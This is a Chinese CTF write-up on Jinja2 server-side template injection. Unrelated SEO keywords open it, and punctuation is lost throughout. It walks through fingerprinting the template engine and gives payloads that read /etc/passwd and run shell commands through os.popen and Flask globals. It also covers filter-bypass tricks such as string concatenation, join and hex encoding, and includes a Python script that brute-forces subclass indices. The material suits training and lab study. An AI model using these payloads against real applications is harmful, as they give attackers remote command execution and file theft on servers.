视频网站中滑动列表怎么做,做外贸的平台有哪些,app开发公司推荐,app开发公司名字打开题目后没有提示框#xff0c;尝试扫描后也没有什么结果#xff0c;猜想是ssti。所以尝试寻找ssti的注入点并判断模版。 模版判断方式#xff1a; 在url地址中输入{7*7} 后发现不能识别执行。 尝试{{7*7}} ,执行成功#xff0c;继续往下走注入{{7*7}}#xff0c;如果执… 打开题目后没有提示框尝试扫描后也没有什么结果猜想是ssti。所以尝试寻找ssti的注入点并判断模版。 模版判断方式 在url地址中输入{7*7} 后发现不能识别执行。 尝试{{7*7}} ,执行成功继续往下走注入{{7*7}}如果执行成功回显7777777说明是jinja2模板如果回显是49就说明是Twig模板 页面回显7777777证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令
读取 /etc/passwdhttp://localhost:5000/?name{{.__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read()}}执行命令假设找到 os.system 子类http://localhost:5000/?name{{.__class__.__mro__[1].__subclasses__()[396](ls).__call__()}}
常用类及语法 __class__表示实例对象所属的类。 __base__类型对象的直接基类。 __bases__类型对象的全部基类以元组形式返回通常实例对象没有此属性。 __mro__一个由类组成的元组在方法解析期间用于查找基类。 __subclasses__()返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表并按定义顺序排序。 __init__初始化类的构造函数返回类型为function的方法。 __globals__通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。 __dict__包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。 __getattribute__()存在于实例、类和函数中的__getattribute__魔术方法。实际上当针对实例化的对象进行点操作例如a.xxx / a.xxx()时都会自动调用__getattribute__方法。因此我们可以通过这个方法直接访问实例、类和函数的属性。 __getitem__()调用字典中的键值实际上是调用此魔术方法。例如a[b] 就是 a.__getitem__(b)。 __builtins__内建名称空间包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。 __import__动态加载类和函数也可用于导入模块。常用于导入os模块例如__import__(os).popen(ls).read()。 __str__()返回描述该对象的字符串通常用于打印输出。 url_forFlask框架中的一个方法可用于获取__builtins__且url_for.__globals__[__builtins__]包含current_app。 get_flashed_messagesFlask框架中的一个方法可用于获取__builtins__且get_flashed_messages.__globals__[__builtins__]包含current_app。 lipsumFlask框架中的一个方法可用于获取__builtins__且lipsum.__globals__包含os模块例如{{lipsum.__globals__[os].popen(ls).read()}}。 current_app应用上下文的全局变量。 request用于获取绕过字符串的参数包括以下内容 - request.args.x1GET请求中的参数。 - request.values.x1所有参数。 - request.cookiescookies参数。 - request.headers请求头参数。 - request.form.x1POST请求中的表单参数Content-Type为application/x-www-form-urlencoded或multipart/form-data。 - request.dataPOST请求中的数据Content-Type为a/b。 - request.jsonPOST请求中的JSON数据Content-Type为application/json。 config当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__[os].popen(ls).read() }}来执行操作系统命令。 g通过{{ g }}可以获取flask.g of flask_ssti。 1__class__用来查看变量所属的类格式为变量.__class__ 利用方式 输入.__class__ 回显class str 输入().__class__ 回显class tuple 输入{}.__class__ 回显class dict 输入[].__class__ 回显class list 2__bases__用来查看类的基类格式为变量.__class__.__bases__ 利用方式 输入.__class__.__bases__ 回显(class object,) 输入().__class__.__bases__ 回显(class object,) 输入{}.__class__.__bases__ 回显(class object,) 输入[].__class__.__bases__ 回显(class object,) 同时可结合数组如 输入 变量.__class__.__bases__[0] 可获得第一个基类 因此可以用{{.__class__.__mro__[1].__subclasses__()[40](/etc/passwd).read()}}读取所有子类。 尝试后显示500说明其中有一些语句是被过滤的。 用fuzz字典爆破过滤内容,发现过滤内容有很多不是很清楚怎么进一步确定具体的过滤字符参考别人的wp得知过滤内容如下
class
subclasses
config
args
request
open
eval
import有过滤的绕过方式
1. 基于字符串连接运算符
不同的模板引擎可能支持不同的字符串连接运算符
Jinja2 (Python): 可以使用 运算符Twig (PHP): 可以使用 ~ 运算符ERB (Ruby): 可以使用 运算符
jinjia2py
{{ c at /etc/passwd }}Twig (PHP):
{{ c ~ at /etc/passwd }}
ERB (Ruby):
% c at /etc/passwd %
2. 使用内置函数和方法
许多模板引擎提供了处理字符串的内置函数或方法可以用来拼接字符串
jinjia2py
{{ .join([c, at, , /etc/passwd]) }}Twig (PHP):
{{ [c, at, , /etc/passwd]|join }}ERB (Ruby):
% [c, at, , /etc/passwd].join %3. 十六进制或 Unicode 编码
如果某些字符被直接过滤可以尝试使用十六进制或 Unicode 编码绕过
jinjia2py
{{ \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 }}Twig (PHP):
{{ \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 }}ERB (Ruby):
% \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 %这题是有过滤构造payload首先尝试字符串拼接的方式因为这题的模版是jinjia2所以连接符是“”构造payload {{()[__class__].__base__[__subclasses__]()}} ()[__class__]: 通过字符串拼接 __cla 和 ss__ 得到 __class__访问元组的 __class__ 属性返回元组的类对象 class tuple。 .__base__: 访问 class tuple 的 __base__ 属性即基类返回 class object。 [__subclasses__](): 通过字符串拼接 __subcl 和 asses__ 得到 __subclasses__调用 __subclasses__() 方法返回一个包含所有子类的列表。
构造payload的基本步骤 获取所有子类jinjia2
{{ [].__class__.__base__.__subclasses__() }}查找文件操作类
通过索引访问子类找到文件操作类
{{ [].__class__.__base__.__subclasses__()[index] }} 读取文件内容
一旦确定文件操作类的位置可以读取文件内容
{{ [].__class__.__base__.__subclasses__()[index][__init__].__globals__[__builtins__][open](/etc/passwd).read() }}
接下来通常使用查找eval函数或者是os模块来执行我们需要的命令
eval函数与os模块的作用
eval 函数
可以直接执行传入的字符串作为代码。因此找到 eval 函数意味着可以执行任意代码这通常是最直接和强大的攻击方式。
os模块
os 模块提供了执行系统命令、文件操作等功能利用 os 模块可以执行系统命令、读取或写入文件。
可以用这个脚本找到eval函数的位置但这题找不到eval。
import requestsurl input(请输入 URL)found Falsefor i in range(500):try:# 构造 payloadpayload {{().__class__.__base__.__subclasses__()[ str(i) ].__init__.__globals__[__builtins__]}}data {name: payload}# 发送 POST 请求response requests.post(url, datadata)# 检查响应状态码if response.status_code 200:print(fResponse for index {i}: {response.text})# 检查响应内容是否包含 evalif eval in response.text:print(fFound eval at index: {i})found Truebreak # 找到后退出循环except Exception as e:print(fError at index {i}: {e})if not found:print(Did not find eval in the first 500 subclasses.)尝试找os模块 找到了它的位置可以构造payload验证一下。 {{()[__class__].__base__[__subclasses__]()[304]}} 验证说明正确找到os模块后可以执行任意系统命令 {{[__class__].__base__[__subclasses__]()[304].__init__.__globals__[popen](cat /Th1s_is__F1114g).read()}}} 思路总结
1、查看是否存在注入点一般存在于
表单输入检查应用程序中的所有表单特别是那些将用户输入显示在页面上的表单字段。URL 参数观察 URL 中的参数特别是那些用于动态生成内容的参数。HTTP 头某些应用程序会将 HTTP 头的信息如 User-Agent、Referer渲染到页面中。Cookie有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型
例如Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)
3、初步构造payload获取全局变量
这个步骤注意查看页面看是否存在过滤
4、查找关键类、模块
eval、os模块等
5、根据查到的信息构造payload